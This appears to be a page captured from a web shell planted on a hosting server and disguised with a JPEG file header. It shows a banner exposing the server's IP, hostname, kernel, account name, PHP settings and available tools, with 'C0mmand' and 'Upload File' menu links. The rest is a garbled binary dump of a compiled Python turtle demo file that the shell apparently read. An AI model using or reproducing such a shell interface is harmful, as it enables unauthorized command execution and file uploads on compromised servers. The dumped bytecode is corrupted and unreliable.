����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.145.11.142 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/../lib64/python3.11/turtledemo/__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
� �=Og� � � � d Z ddlmZmZ ddlmZ G d� de� � Zd� Ze dk r! e� � Z ee � � e� � dS dS ) a� turtle-example-suite: tdemo_bytedesign.py An example adapted from the example-suite of PythonCard's turtle graphics. It's based on an article in BYTE magazine Problem Solving with Logo: Using Turtle Graphics to Redraw a Design November 1982, p. 118 - 134 ------------------------------------------- Due to the statement t.delay(0) in line 152, which sets the animation delay to 0, this animation runs in "line per line" mode as fast as possible. � )�Turtle�mainloop)�perf_counterc �D � e Zd Zd� Zd� Zd� Zd� Zd� Zd� Zd� Z d� Z d � Zd S )�Designerc � � | � � � t d� � D ]�}| � d|z � � | � � � | � | � � � |� � | � � � | � d|z � � | � d� � ��| � � � | � |� � | � d� � | � d|z � � | � d� � | � � � | � d|z d|� � | � � � � d � � d S ) N� g�����)P@�H �$ g �8@�� �. g������a@T)�up�range�forward�down�wheel�position�backward�right�goto�centerpiece� getscreen�tracer)�self�homePos�scale�is �./usr/lib64/python3.11/turtledemo/bytedesign.py�designzDesigner.design s7 � ���� � � ��q��� � �A��L�L����'�'�'��I�I�K�K�K��J�J�t�}�}����.�.�.��G�G�I�I�I��M�M�%�%�-�(�(�(��J�J�r�N�N�N�N���� � � �� � �'����� � �2�������T�E�\�"�"�"�� � �3����� � ��������e��U�E�2�2�2���������%�%�%�%�%� c � � | � d� � t d� � D ]}| � ||� � �| � � � | � d� � t d� � D ]}| � ||� � �| � d� � t d� � D ]o}| � � � | � d� � | � d|z � � | � � � | � d|z � � �p| � d� � | � � � � � � d S )N�6 � r r r � )r r � pentpiecer �left�tripiecer r r r �update)r �initposr r s r r zDesigner.wheel2 s2 � �� � �2�����q��� +� +�A��N�N�7�E�*�*�*�*�� � ����� � �"� � � ��q��� *� *�A��M�M�'�5�)�)�)�)�� � �"� � � ��q��� &� &�A��I�I�K�K�K��J�J�r�N�N�N��L�L��e��$�$�$��G�G�I�I�I��M�M�"�u�*�%�%�%�%�� � �"� � � ��������!�!�!�!�!r c � � | � � � }| � � � | � d|z � � | � d|z |� � | � � � | � |� � | � |� � | � � � | � d|z � � | � d|z |� � | � � � | � |� � | � |� � | � d� � | � � � � � � d S )Ng @g �?@r )�headingr r �tripolyrr r � setheading�tripolylr&